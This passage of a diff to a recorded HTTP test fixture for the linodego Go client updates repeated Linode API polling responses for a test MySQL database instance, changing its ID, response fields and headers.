"replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19292,16 +24249,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:04:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19317,7 +24277,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19333,17 +24293,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19356,16 +24317,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:05:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19381,7 +24345,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19397,17 +24361,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19420,16 +24385,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:05:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19445,7 +24413,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19461,17 +24429,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19484,16 +24453,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:05:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19509,7 +24481,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19525,17 +24497,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19548,16 +24521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:05:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19573,7 +24549,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19589,17 +24565,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19612,16 +24589,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:06:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19637,7 +24617,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19653,17 +24633,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19676,16 +24657,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:06:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19701,7 +24685,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19717,17 +24701,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19740,16 +24725,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:06:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19765,7 +24753,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19781,17 +24769,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19804,16 +24793,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:06:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19829,7 +24821,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19845,17 +24837,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19868,16 +24861,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:07:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19893,7 +24889,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19909,17 +24905,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19932,16 +24929,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:07:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19957,7 +24957,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19973,17 +24973,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19996,16 +24997,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:07:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20021,7 +25025,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20037,17 +25041,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20060,16 +25065,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:07:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20085,7 +25093,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20101,17 +25109,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20124,16 +25133,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" 